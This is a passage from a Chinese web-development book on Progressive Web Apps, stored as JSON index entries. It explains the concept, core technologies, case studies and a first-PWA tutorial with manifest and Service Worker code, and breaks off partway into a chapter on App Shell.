PWA，它是在什么样的背景下被提出来的。 回顾一下历史，在 2015 年之前的那段时间，作为前端开发人员，我们主要精力花在哪里，对于我来说，移动站点的性能优化是投入精力很大的一部分，例如提升首屏速度，动画的流畅度，经过一段时间的优化，性能确实有不小的提升，但是无论怎么优化，还是比 Native App 要差很多，始终无法突破移动设备上 WebView 给 Web 的枷锁，这就是我们想说的第一个问题，Web 的用户体验。 除开用户体验问题之外，还有一个非常重要的问题，那就是用户留存。Native App 安装完毕后会在用户手机桌面上有一个入口，让用户打开 App 只需一次点击，而 Web App 在移动时代最主要的入口还是搜索引擎，用户从浏览器到站点需要经过搜索引擎，如果想访问上次同样的内容甚至还需要记住上次的搜索词，用户也可以记住 URL 并进行输入，但这些对于移动用户来说，无疑成本巨大，这就导致 Web 站点和用户之间的粘性非常脆弱。Native App 还能够通过发送通知让用户再次回到应用中来，而 Web 没有这个能力。 最后要说的一个问题是 0 和 1 的问题，Device API 的不完善。Android 和 iOS 提供了非常丰富的设备 API，Native App 只需获取用户授权就可以使用，而在 Web App 中，\\bWebView 没有提供这样的 API，完全没法使用，如果我们开发一个需要使用 NFC 的 App，你一定不会考虑 Web，因为近场通信 API 在 Web 中还没有。虽然在近年来，W3C 已经提出了很多新的标准，但是浏览器对于 Device API 的支持仍然很不完善。 Google 在一篇名为《Why Build Progressive Web Apps》的文章中披露过这样的一组数据，Web 站点每个月的 UV 是 Native App 的 3 倍，然而用户在 Native App 花费的时间却是 Web 的 20 倍，如下图所示，这之间巨大的反差，和上面所说的\\b三个原因息息相关。 就在这样的背景条件下，PWA 以及支撑 PWA 的一系列关键技术应运而生。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter01/2-what-is-pwa.html\":{\"url\":\"chapter01/2-what-is-pwa.html\",\"title\":\"1.2 什么是 PWA\",\"keywords\":\"\",\"body\":\"什么是 PWA Google 提出 PWA 的时候，并没有给它一个准确的定义，经过我们的实践和总结， PWA 它不是特指某一项技术，而是应用多项技术来改善用户体验的 Web App，其核心技术包括 Web App Manifest，Service Worker，Web Push 等，用户体验才是 PWA 的核心。 PWA 主要特点如下： 可靠 - 即使在网络不稳定甚至断网的环境下，也能瞬间加载并展现 用户体验 - 快速响应，具有平滑的过渡动画及用户操作的反馈 用户黏性 - 和 Native App 一样，可以被添加到桌面，能接受离线通知，具有沉浸式的用户体验 PWA 本身强调渐进式（Progressive），可以从两个角度来理解渐进式，首先，PWA 还在不断进化，Service Worker，Web App Manifest，Device API 等标准每年都会有不小的进步；其次，标准的设计向下兼容，并且侵入性小，开发者使用新特性代价很小，只需要在原有站点上新增，让站点的用户体验渐进式的增强。 Google 在官网一篇名为《Progressive Web App Checklist》的文章中给出了 PWA 的基准线，也给出了体验更好的示范性 PWA 的 Checklist，下面列出了 PWA 的最低要求。 站点需要使用 HTTPS 页面需要响应式，\\b能够在平板和移动设备上都具有良好的浏览体验 所有的 URL 在断网的情况下有内容展现，不会展现浏览器默认页面 需要支持 Wep App Manifest，能\\b被添加到桌面 即使在 3G 网络下，页面加载要快，可交互时间要短 在主流浏览器下都能正常展现 动画要流畅，有用户操作反馈 每个页面都有独立的 URL PWA 的特性 PWA 本质上还是 Web App，借助了新技术具备了一些 Native App 的特性，所以它兼具 Web App 和 Native App 的优点，同时在安全、体验和用户黏性三个方面都有很大的提升。总结下来，PWA 具有如下特性。 渐进式 - 适用于所有浏览器，因为它是以渐进式增强作为宗旨开发的 连接无关性 - 能够借助 Service Worker 在离线或者网络较差的情况下正常访问 类原生应用 - 由于是在 App Shell 模型基础上开发，因此应具有 Native App 的交互，给用户 Native App 的体验 持续更新 - 始终是最新的，无版本和更新问题 安全 - 通过 HTTPS 协议提供服务，防止窥探，确保内容不被篡改 可索引 - manifest 文件和 Service Worker 可以让搜索引擎索引到，从而将其识别为『应用』 黏性 - 通过推送离线通知等，可以让用户回流 可安装 - 用户可以添加常用的 Web App 到桌面，免去到应用商店下载的麻烦 可链接 - 通过链接即可分享内容，无需下载安装 PWA 的这些新特性给 Web App 注入了活力，而 Native App 却没能很好的弥补自己的劣势。对于 Native App来说，最大的痛点是由于其天生封闭的基因，内容无法被索引，这会导致 Native App 很难被分发，例如，用户想知道红烧肉的做法，还需要先知道应用的名称，下载应用之后才能获取内容，这个流程十分不合理，根据 Google 的统计，用户每个月安装的应用个数约等于 0，再加上用户 80% 的时间被 Top3 的超级应用占据，应用分发成本也因此越来越高。相对于 Native App 的封闭，PWA 完全是开放的，PWA 的所有技术都是遵循开放的标准，因此能够被浏览器快速支持，被开发者接受。 下表列出了传统 Web App，Native App 和 PWA 在各特性的对比。 是否可安装 是否可链接访问 用户体验 用户黏性 传统 Web 无法安装 可链接访问 体验一般 黏性差 Native App 可安装 不可链接访问 体验好 黏性强 PWA 可安装 可链接访问 体验好 黏性强 PWA 能给站点体验带来飞跃式的提升，我们可以用移动设备上的浏览器，如 Chrome， 访问 LAVAS 官网 体验一下，并添加到桌面，还可以在断网的情况下使用。现在在国内也有很多 PWA 站点，比如饿了么和新浪微博的移动版，不用耗费流量下载几十兆的应用，就能有和原生应用一样的体验，不妨尝试一下。 在后面的章节中，我们会从体验、安全和性能三个角度来分析如何打造一个好的 PWA。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter01/3-what-are-key-techs.html\":{\"url\":\"chapter01/3-what-are-key-techs.html\",\"title\":\"1.3 PWA 的核心技术\",\"keywords\":\"\",\"body\":\"PWA 的核心技术 前文提到，PWA 的核心是用户体验，能让 PWA 达到原生应用的体验并不仅仅依赖于某一项技术，而是多管齐下，进行改进，从而在安全、性能和体验上都获得很大的提升。下面将简单介绍几个 PWA 应用中经常使用到的技术，后面的章节会进行更详细的讲解。 Web App Manifest Web App 是依附于浏览器的，在一般情况下，用户需要先打开浏览器，然后输入网址或点击收藏的书签，才能够访问到网页内容，相比在移动设备主屏上拥有一席之地的 Native App，Web App 使用起来太麻烦了，这也是 Native App 相比 Web App 用户黏性更好的原因之一。因此 Web App 也需要这个能力，Web 应用清单（Web App Manifest）能够帮助我们实现这一点，也是 PWA 最核心的功能之一，开发者可以定义用户添加到主屏的图标、应用名称等，也许有人会说，有些移动设备上的浏览器可以在主屏上添加网页的快捷方式，但其实用户体验区别很大，Web App Manifest 允许开发者配置隐藏浏览器多余的 UI（地址栏，导航栏等），让 PWA 具有和 Native App 一样的沉浸式体验。 Web App Manifest 体现在代码上主要是一个 JSON 文件：manifest.json，开发者可以在这个 JSON 文件中配置 PWA 的相关信息，应用名称、图标、启动方式、背景颜色、主题颜色等等。添加到桌面后，PWA 并不是一个快捷方式，而是能够在系统中作为一个独立的 App 存在的，用户可以设置它的权限，清除它的缓存，就和 Native App 一样。 添加主屏的好处是显而易见的，首先它缩短了用户和站点的距离，用户可以在主屏直达站点；其次是能够让网站具有更加接近 Native App 的体验，具有启动画面、沉浸式浏览体验；最后，PWA 会被系统的应用商店收录，目前只有 Windows 10 这样做了，但是可以预见在不远的将来，其他的主流平台也会进行收录。 Service Worker 在前文中，频繁的提及 Service Worker 是因为它真的很重要，毫不夸张的说，Service Worker 就像人体中心脏一样的存在，如果没有它，PWA 就像没有了动力，无法寸进。 Service Worker，直白的翻译就是服务工作线程，但一般我们不会这么做。它是浏览器在后端独立于网页主进程运行的脚本，它可以拦截网络请求，可以操作本地缓存，还可以接受服务器推送的离线消息，它的功能很丰富，并且 Service Worker 可扩展性很强，想象空间比较大，未来 PWA 很多的特性会基于 Service Worker 来设计，这也是笔者为什么说它是 PWA 的心脏。 简单归纳一下，Service Worker 的特点，如下： 一个特殊的 worker 线程，独立于当前网页主线程，有自己的执行上下文 一旦被安装，就永远存在，除非显示取消注册 使用到的时候浏览器会自动唤醒，不用的时候自动休眠 可拦截并代理请求和处理返回，可以操作本地缓存，如 CacheStorage，IndexedDB 等 离线内容开发者可控 能接受服务器推送的离线消息 异步实现，内部接口异步化基本是通过 Promise 实现 不能直接操作 DOM 必须在 HTTPS 环境下才能工作 Service Worker 在 PWA 中最重要的功能就是离线与缓存，在本书第三章，还会有很多笔墨来介绍 Service Worker 如何实现站点离线。 离线通知 Service Worker 是 PWA 很多功能的基础，正是有了 Service Worker，其他功能才能发挥更大的作用，离线通知就是其中之一。 离线通知是指在用户没有打开 PWA 站点的情况下，也能接受到服务器推送过来的通知并展现给用户，其中包括了两部分，离线推送和展现通知，分别是 Web Push 和 Notification API。 推送通知是一种时效性非常强的与用户沟通的方式，即使在 PWA 没有打开的情况下，依然可以触达用户，能够立即引起用户的注意，对于一些突发事件、限时活动、重大升级等时效性要求很高的场景，推送通知总是最好的选择，这也是过去 Native App 强于 Web App 的原因之一。因此 PWA 提供了 Web Push 和 Notification API 补全了这一功能。 浏览器在接受到对应的消息服务中心推送过来的离线消息时，会唤醒对应站点注册的 Service Worker，开发者可以在 Service Worker 文件中处理接受到的请求，显示通知。 Web Push 和 Notification API 在后面的章节也会重点介绍。 App Shell 和骨架屏 App Shell 是 PWA 强调的一个非常重要的设计理念，它能够缩短用户进入页面时的白屏时间，让用户一进入 PWA 就能快速看到 PWA 的整体框架，就和 Native App 一样。从概念上讲，App Shell 是 PWA 界面展示所需的最小资源集合，即让页面能够正常运行起来的最小的 HTML、CSS 和 JavaScript 等静态资源集，每个页面都需要加载这一部分资源。利用 Service Worker 把这部分资源缓存在本地，就能够在打开 PWA 时不需要从服务器端获取这部分资源，从而能够瞬间渲染出页面框架，不仅提升了首屏的速度，还减小了站点流量的消耗。 骨架屏（App Skeleton），也是提升首屏体验的有效方式。它的原理是在真实内容渲染完成之前，使用一些能够快速渲染的静态图片/样式/色块/部分真实内容进行占位，让用户对真实内容区域有心理预期。App Shell 和骨架屏都是提升首屏体验的绝好妙招。 App Shell 和骨架屏相辅相成，App Shell 显示页面的外框部分，初始内容就用骨架屏来填充，保证主体内容区域不会留白，它的特点是： 在页面加载初期预先渲染内容，提升感官上的体验 一般情况骨架屏和实际内容的结构是类似的，因此之后的切换不会过于突兀。这点和传统的 Loading 动图不同，可以认为是其升级版 只需要简单的 CSS 支持 (涉及图片懒加载可能还需要 JS )，不要求 HTTPS 协议，没有额外的学习和维护成本 如果页面采用组件化开发，每个组件可以根据自身状态定义自身的骨架屏及其切换时机，同时维持了组件之间的独立性 App Shell 和骨架屏在提升首屏体验上发挥了重要作用，本书第二章会首先介绍，在了解了这部分内容之后，就能够很好的理解 App Shell 结合 Service Worker 的重要性。 以上四点是笔者认为对应 PWA 非常重要的技术，因此列出来，并且后续也会重点讲述，其他在这里没有提到的技术对于 PWA 来说也同样重要，在本书中不会重点讲述，但也会有所提及，开发者可以去阅读一些相关的文档或者标准，比如 MDN 站点。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter01/4-how-is-pwa-going.html\":{\"url\":\"chapter01/4-how-is-pwa-going.html\",\"title\":\"1.4 PWA 的发展\",\"keywords\":\"\",\"body\":\"PWA 的发展 从 PWA 被提出到现在，已经过去了 4 年，PWA 取得的成绩有目共睹，特别是在国外，在网络速度不够快或者相对贫困的地区，PWA 非常受欢迎，因为它不需要很高的硬件配置，也很省流量，比如在印度，就有一个很成功的案例，Flipkart。 Flipkart Flipkart 是印度最大的电商公司，在 2015 年的时候，他们关停了 Web App，尝试将用户导流到 Native App，后来发现在产品快速迭代和好的用户体验之间很难做到两者兼得，因此他们决定将 Web App 和 Native App 整合为 PWA，通过 Service Worker，Web App Manifest 等技术的使用，PWA 不仅在体验上达到了他们的标准，同时还具有了 Web App 的产品迭代速度。 采用 PWA 后，取得的成绩斐然，关键收益如下： 用户时长增加了 3 倍，传统 Web 是 70 秒，而 PWA 达到了 3.5 分钟。 用户回流率提升了 40%。 添加到主屏的用户转化率提高了 70%。 用户数据流量的消耗降低了 3 倍。 阿里速卖通(AliExpress) 阿里速卖通是阿里巴巴旗下的一款产品，对外销售来自中国的各种产品。AliExpress 的困境在于，用户不愿意下载安装他们的 Native App，即使在 Web App 中对 Native App 有足够的引流，导致获客成本很高。 最后，AliExpress 选择了 PWA，他们的出发点在于提升 Web App 的\\b体验和用户黏性。带来的收益也非常的明显，如下： 在 PWA 中，新用户的转化率提升了 104%。 在一次会话中，用户访问的页面数量\\b增加了 2 倍。 用户时长增加了 74%。 饿了么 不仅在国外，国内同样也有 PWA 的案例，饿了么，作为国内最早一批尝试 PWA 的站点，同样也取得了不小的收益。 饿了么做 PWA 站点的出发点和 Flipkart、AliExpress 不完全一样，它几乎纯粹是从性能优化的角度接入的 PWA，当时国内的浏览器市场比较混乱，对 PWA 支持的不是很完善。饿了么 PWA 采取的是多页应用（Multi-Page Application），和 PWA 推荐的 SPA（Single Page Application）不一样，主要是考虑到多个团队合作共同开发同一个站点，不过在体验上并没有打折扣，现在是 Google 对外展示的一个成功案例。 看一下饿了么 PWA 的收益： 预缓存的页面加载时间缩短了 11.6%。 所有页面平均加载时间缩短了 6.35%。 在 3G 网络下，第一次加载首次可交互时间缩短了 4.93 秒。 标准的支持 PWA 采用的最新技术，当前浏览器还没有达到完全支持的程度，很多技术在 W3C 还没有定稿，不过这也意味着这些技术的还有很大的想象空间。 根据 Can I Use 的统计（包括 PC 和移动端，截至 2019 年 4 月 2 日），PWA 的关键技术在浏览器中的支持度如下： Web App Manifest 的支持度达到 80.63%。 Service Worker 的支持度达到 89.84%。 Notifications API 的支持度达到 75.17%。 Push API 的支持度达到 78.06%。 随着标准的进一步完善，国内外各大浏览器都会逐步支持，拥抱标准。Chrome 自不必说，Apple 从 iOS 11.3 版本开始在 Safari 上支持 Service Worker，iOS 12.2 版本修复了 PWA 很多致命的体验问题，支持了 Web Share API 等。可见大家都在拥抱标准，拥抱开放。 Can I Use 的统计由于一些原因在国内不是很适用，为此百度 Web 生态团队维护了一份列表，开发者可以在上面查看国内各主流浏览器对 PWA 主要技术的支持程度，https://lavas.baidu.com/ready。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter01/5-the-future-of-pwa.html\":{\"url\":\"chapter01/5-the-future-of-pwa.html\",\"title\":\"1.5 PWA 的未来\",\"keywords\":\"\",\"body\":\"PWA 的未来 从 Google 最初提出 PWA 到现在，PWA 已经有不小的改变了，这就是 Web 的魅力，遵循标准且完全开放的魅力，来自世界各地的开发者参与标准的制定，它还在不断进化，Web 即使已经 30 岁了，它还依旧是被广泛应用的技术之一。 关注 Web 标准化的开发者会在标准文档里发现很多有意思的提案，有 Web 蓝牙、Web XR 等，在 TPAC Lyon 2018 上，Intel 的开发者演示了他们开发的 Web Machine Learning 的 DEMO，Web 也能直接利用 NPU 来进行深度学习的计算，让我觉得 Web 还能再战 30 年，我对此充满信心。 在国外，PWA 已经被广泛应用，也被用户所接受。在笔者刚从事 Web 生态相关工作的时候，国内才刚刚接触到 PWA 这个概念，UC 浏览器的内核版本还是 Chrome 3x，连 ES6 都支持的不全，更别说是 Service Worker、Web App Manifest 等 PWA 技术了。UC 浏览器并不是个例，国内厂商 App 内核版本几乎都不支持 Service Worker。不过也就在不到一年的时间里，这些浏览器就都支持了 Service Worker，让人不得不感叹国内互联网进步之快，国内主流浏览器对 Service Worker 的支持度如下图所示。 除了 Service Worker 等主流 PWA 技术外，W3C 也一直在推进 Device API 的标准。在 MDN，有一个 Web API 的索引，WebAPI，里面列出了大部分的现存的 Device API 和其他的 API。 Accelerated Shape Detection in Imagges 是形体检测的 API，在最新的 Chrome 中已经支持，如下代码所示。 需要将 chrome://flags/#enable-experimental-web-platform-features 设置为 Enabled。 // 人脸识别 const faceDetector = new FaceDetector({fastMode: true, maxDetectedFaces: 1}) // 假设 theImage 是 标签中的内容或者一个 Blob 对象 faceDetector.detect(theImage) .then(detectedFaces => { for (const face of detectedFaces) { console.log( ` Face @ (${face.boundingBox.x}, ${face.boundingBox.y}),` + ` size ${face.boundingBox.width}x${face.boundingBox.height}`); } }).catch(() => { console.error(\\\"Face Detection failed, boo.\\\"); }) 不断有新的 Device API 被支持，W3C 等标准组织有一群对 Web 怀抱希望，希望 Web 成为开放技术的人，他们在努力推进 Web 用户体验的提升，虽然由于 W3C 的组织方式和对安全、隐私、性能的考虑，推进速度不是很快，但不久也会被所有浏览器支持。我喜欢 Web 的开放，喜欢它的简单。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter01/6-your-first-pwa.html\":{\"url\":\"chapter01/6-your-first-pwa.html\",\"title\":\"1.6 你的第一个 PWA\",\"keywords\":\"\",\"body\":\"你的第一个 PWA 本书中大部分示例均基于下面的这个模板展开，开发者可以跟随书中示例逐步操作，加深理解。在这个示例里，我们一起来实现一个能添加到桌面并且离线可用的 PWA。 准备工作 在准备编写第一个 PWA 前，有一些准备工作需要准备，需要安装一些必备的软件，如下： 一台可以正常联网的计算机并已安装较新版本的 Node.js，npm，Git 一个方便调试并支持 Service Worker 的浏览器，推荐使用 Google Chrome 一部安卓手机，开启添加到桌面的权限，推荐安装好 Chrome 浏览器 一个自己习惯的文本编辑器，如 Visual Studio Code, Sublime Text 等等 下载代码 在完成上面的准备工作后，接下来下载笔者准备的示例代码。本书的示例代码均托管在 GitHub 上，地址是 https://github.com/lavas-project/pwa-book-demo。 本书所有的 JS 代码均符合 JavaScript Standard Style 规范。 那么接下来的第一步，我们先下载代码到本地，在命令行中运行如下命令。 # 从 GitHub 下载代码到本地 pwa-book-demo 目录 $ git clone https://github.com/lavas-project/pwa-book-demo.git # 进入到 chapter01 目录 $ cd chapter01 # 安装 npm 依赖 $ npm install # 安装成功后启动 chapter01 示例 $ npm run server 在看到命令行中输出 Server start on: http://127.0.0.1:8088，意味着已经成功启动，这时，打开浏览器，访问 http://127.0.0.1:8088 能看到如下图所示的页面。 接下来，开发者可以根据下面的步骤逐步开启 Web App Manifest 和 Service Worker，开始体验自己的第一个 PWA。 添加到主屏 根据前面的章节介绍，增加用户黏性最好的方式是把这个 PWA 放在用户的主屏上，它背后的技术就是 Web App Manifest，接下来，我们就来看看如何使用。 第一步，站点需要新增一个文件：manifest.json，这个文件中包含站点的名称、图标地址、入口地址、显示模式等信息，并且通过一个地址能够访问到该文件，在我们下载下来的代码中，这个文件在 chapter01/public/ 目录下，启动调试服务器后，可以通过 http://127.0.0.1:8088/manifest.json 访问到。 { \\\"name\\\": \\\"PWA Chapter01 Demo\\\", \\\"short_name\\\": \\\"Chapter01 Demo\\\", \\\"icons\\\": [ { \\\"src\\\": \\\"assets/images/icons/icon_144x144.png\\\", \\\"sizes\\\": \\\"144x144\\\", \\\"type\\\": \\\"image/png\\\" }, { \\\"src\\\": \\\"assets/images/icons/icon_152x152.png\\\", \\\"sizes\\\": \\\"152x152\\\", \\\"type\\\": \\\"image/png\\\" }, { \\\"src\\\": \\\"assets/images/icons/icon_192x192.png\\\", \\\"sizes\\\": \\\"192x192\\\", \\\"type\\\": \\\"image/png\\\" }, { \\\"src\\\": \\\"assets/images/icons/icon_512x512.png\\\", \\\"sizes\\\": \\\"256x256\\\", \\\"type\\\": \\\"image/png\\\" } ], \\\"start_url\\\": \\\"/index.html\\\", \\\"display\\\": \\\"standalone\\\", \\\"background_color\\\": \\\"#fff\\\", \\\"theme_color\\\": \\\"#1976d2\\\" } 第二步，在 HTML 页面中添加对 manifest.json 文件的引用，在示例中，打开 chapter01/public/index.html 文件，添加如下代码到 中。 第三步，在\\b移动端浏览器 Chrome 中打开启动的地址，如果在同一个局域网内，可以通过电脑的 IP 地址访问，\\b比如笔者的电脑的局域网 IP 是 192.168.0.100，那么就可以通过 http://192.168.0.100:8088/ 访问。访问成功后，点击添加到桌面按钮，PWA 就会出现在主屏上，如下图所示。 点击 PWA 的图标，\\b不仅具有启动画面，还具有完全沉浸式的体验，如下图所示。 Web App Manifest 的内容远不止这些，可以阅读本书的后续章节，会详细介绍。 如果添加到主屏始终不成功，可以阅读本书的第五章，相信会解决您的问题。 离线可用 离线可用依赖于 Service Worker 的应用，接下来来看看在示例代码中如何启用 Service Worker。 第一步，您需要一个 Service Worker 文件，在示例中，可以查看 chapter01/public/sw.js 文件，并且可以通过 http://127.0.0.1:8088/sw.js 访问到该文件，sw.js 文件具体的内容会在后续章节逐步讲解。 第二步，在 HTML 页面中注册 Service Worker。打开 chapter01/public/index.html 文件，找到下面的代码，并将注释打开。 // 判断浏览器是否支持 Service Worker if ('serviceWorker' in navigator) { // 在 load 事件触发后注册 Service Worker，确保 Service Worker 的注册不会影响首屏速度 window.addEventListener('load', function () { // 注册 Service Worker navigator.serviceWorker.register('/sw.js').then(function (registration) { // 注册成功 console.log('ServiceWorker registration successful with scope: ', registration.scope) }).catch(function (err) { // 注册失败 :( console.warn('ServiceWorker registration failed: ', err) }) }) } 第三步，接下来可以通过打开电脑上的 Chrome 来验证是否注册成功，并且是否离线可用。 通过 Chrome 访问 http://127.0.0.1:8088 打开我们的第一个 PWA，\\b并且打开调试工具，点击 Application \\b菜单栏，再点击调试工具左边的 Service Worker 选项，会看到\\b sw.js 的注册信息，如下图所示： 那么，我们检查一下是否真的离线可用，勾选上图中的 Offline 复选框，让 Chrome 在这个标签页下保持断网状态。 \\b接下来，刷新页面，您会发现页面依然能正常渲染，这就是 PWA 的离线可用，可以利用 Service Worker 做很多事情，缓存页面\\b框架和骨架屏，提升页面首屏速度，甚至可以缓存部分数据。Service Worker 将在本书的后续章节会重点讲述。 总结 以上就是您的第一个 PWA，麻雀虽小，五脏俱全，能被添加到主屏，能离线可用，\\b短短的几行代码就在原站点的基础上实现了这两个功能，并且没有侵入性，代价也很小，它确实奉行渐进式的原则。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter02.html\":{\"url\":\"chapter02.html\",\"title\":\"第2章 设计与体验\",\"keywords\":\"\",\"body\":\"设计与体验 PWA 的提出包含了很多新的技术，如 Service Worker 等，但用户体验才是它的核心，用户体验包括很多方面，速度、顺滑度、阅读体验等，这不是单靠设计师能做到的，需要设计与技术互相配合，设计配合技术，技术实现设计。设计师需要考虑如何缩短用户转化流程，如何布局，让用户能方便快捷的获取信息，还需要考虑如何配合技术达到最佳用户体验；开发人员同样需要考虑采用使用什么技术来达到体验最优。 本章会从体验原则、App Shell、骨架屏和响应式布局来分析设计和技术如何互相配合来达到最佳体验。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter02/1-what-is-good-ux.html\":{\"url\":\"chapter02/1-what-is-good-ux.html\",\"title\":\"2.1 什么是好的用户体验\",\"keywords\":\"\",\"body\":\"什么是好的用户体验 PWA 的核心是用户体验，它的核心技术（如 Service Worker，Web App Manifest 等）都是为了提升 Web App 用户体验，但“体验”其实是个很主观的感受，我们很难用一个或几个量化指标来轻易的衡量用户体验，判断优劣，甚至不同的人有不同的理解，不过体验好的站点都有一些共性，包括不限于下面列出来的一些特征。 首屏速度快 顺滑流畅的动画效果 有用户操作的反馈 比较简单的操作步骤 主体内容比较在最显眼的位置 整站体验一致 无障碍访问，不同的人群均可使用 用户体验的核心是用户，设计师需要站在用户的角度思考用户需要什么，在做设计的时候需要做充分的调研。移动设备上的用户目的性很强，需要在巴掌大小的屏幕上快速找到自己想要的内容。 很多公司都沉淀了自己的一套设计原则和方案，百度在 2018 年发布了《百度移动搜索落地页体验白皮书 4.0》，这里面列出了很多体验上的指导原则。Google 也在开发者网站上列出了他们总结的 25 项设计原则，《What Makes a Good Mobile Site?》。 笔者将他们整合了一下，并且加入了一些自己认为重要的设计原则，如下： 主操作区域要放在显眼位置 不要出现巨大的弹层盖住主要内容，比如下载条幅可以放在顶部并且添加关闭按钮 推送的通知需要满足准确、准时和相关三个特征 尽量减少用户的输入或者减小输入的代价，自动帮用户填写已知的数据，选择合适的 input 类型 缩短不必要的流程，让整个转化流程更简洁 响应式布局，\\b让站点\\b在不同尺寸的浏览器上都有好的体验 图片清晰，且点击可放大查看更清晰的图片 \\b避免不必要的切换，让用户在一个\\b浏览窗口内完成所有的操作 如果需要申请设备权限，如定位、通知等，在申请前需要明确的告诉用户为什么需要这些设备权限 可点击区域的\\b宽度和高度不应小于 48px 整站体验需要一致，页面框架、主色调等需要保持统一 好的设计原则远不止\\b上面列出来的这些，好的设计不仅需要美观，还需要方便易用。 那么站在开发者的角度，哪些需要重点关注呢？ Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter02/2-design-and-tech.html\":{\"url\":\"chapter02/2-design-and-tech.html\",\"title\":\"2.2 设计与技术\",\"keywords\":\"\",\"body\":\"设计与技术 好的设计没有好的技术来实现同样无法达到最佳的用户体验。 设计与技术并不只是实现的关系，而是需要互相配合，再完美的设计如果不能实现，那也只是白费，而一些技术上的优化也需要设计给予配合才能更加完美。 上一节中，列出了很多设计原则，有些是比较容易实现的，但有些也比较复杂，复杂到需要很大的篇幅来描述。下面我们总结了几个比较重要的设计与技术相结合的问题。 首屏速度 首先是首屏速度，它对于站点的重要性不言而喻，特别是移动端，下图是页面加载时间与跳出率和会话\\b的关系。 那么技术上如何提升首屏速度呢？首选我们会想到\\b将 CSS 放在头部，JS 放在页面底部等技术手段，这些方法确实卓有成效，但是有没有更好的方法呢？ 在这里就要讲到设计与技术相辅相成的一种 Web 的设计，那就是 App Shell，以及和 App Shell 配套使用的骨架屏（App Skeleton），本章后续会详细介绍。 响应式布局 移动设备种类越来越多，屏幕大小不一，有小到高宽不足 40\\b 毫米的\\b智能手表，也有高度接近 300 毫米的 iPad。尽管如此，大部分的 Web 站点都没有对尺寸不一的设备做过适配，导致在移动端体验很差，这时就凸显响应式布局的重要性。 响应式布局不是一个纯技术的问题，\\b在设计之初就\\b需要设计师考虑众多问题，例如在不同尺寸的设备上，字体大小设置多少，页面如何布局，主体内容放在哪里，叠起来的内容如何使用户更方便的找到，小尺寸屏幕如何展现列数较多的表格，等等。 而开发者需要考虑如何实现根据\\b屏幕尺寸大小动态调整字体大小或者布局，其中涉及到的知识点\\b很多，在本章后续小节中会详细介绍。 流畅的动画 动画是体验非常重要的一部分，站点展现速度再快，没有任何交互动画，也会显得没有生气，它赋予了站点“生命”。但是如果动画掉帧，造成卡顿，反而会让用户觉得站点体验很差，所以，我们需要的是流畅的动画。 动画的设计没有想象中的简单，过多的动画和没有动画体验同样糟糕，动画过多会让用户觉得烦躁，因此需要设计师在初期考虑到参与动画的元素、动画的类型、动画的持续时间等，而\\b开发者需要考虑如何实现流畅的动画。在本章后续小节中同样会展开介绍。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"chapter02/3-app-shell.html\":{\"url\":\"chapter02/3-app-shell.html\",\"title\":\"2.3 App Shell\",\"keywords\":\"\",\"body\":\"App Shell 在第一章中已经简单介绍过 App Shell，这个小节我们会更深入学习如何构建和使用 App Shell。它并不是一种新的技术或者 API，而是设计与技术相结合产生的一种整站设计方案，减少用户进入页面的等待时间，用户能够快速看到页面的主体结构，虽然这时主体内容没有渲染出来，但是给用户感官上的体验是这个页面渲染很快，那么来看一下什么是 App Shell。 什么是 App Shell PWA 多数采用单页应用（Single Page Application）的方式编写，这样能减少页面跳转带来的开销，并且开发者可以在页面切换时增加过渡动画，避免出现加载时的白屏。那么在页面切换时页面上固定不动的内容就是 App Shell 的一部分。 应用从显示内容上可以粗略的划分为内容部分和外壳部分。App Shell 就是外壳部分，即页面的基本结构，如下图所示： 上面只是 App Shell 显示的部分，那么是谁去加载内容区域呢，是谁接管了页面的状态呢，是谁初始化页面的样式呢？ 也是 App Shell，它不仅包括用户能看到的页面框架部分，还包括用户看不到的代码逻辑。因此，我们可以总结一下 App Shell 的定义，App Shell 是页面能够展现所需的最小资源集合，即支持用户界面所需的最小的 HTML、CSS 和 JavaScript 等静态资源集合。采用 App Shell 的站点，每个页面都会先加载 App Shell 的内容，再由 App Shell 根据当前页面 URL 渲染对应的主体内容。 上图给出了基本的 App Shell 例子，它包含头部导航，侧边栏等，对于一个应用来说它有一个相对稳定的结构。但是一个站点可以有多个 App Shell，以电商网站举例，不同品类的商品主题馆，颜色不同，甚至结构也会有一些区别，这就需要开发者灵活处理，可以分为多个 Shell，或者在一些页面去掉 Shell。 如何正确使用 App Shell 单独使用 App Shell 并不是一个很好的主意，对于速度要求比较高的站点来说，它会导致用户看到主要内容的时间延后，那么有没有办法呢？这个时候开发者会提到使用浏览器的 HTTP 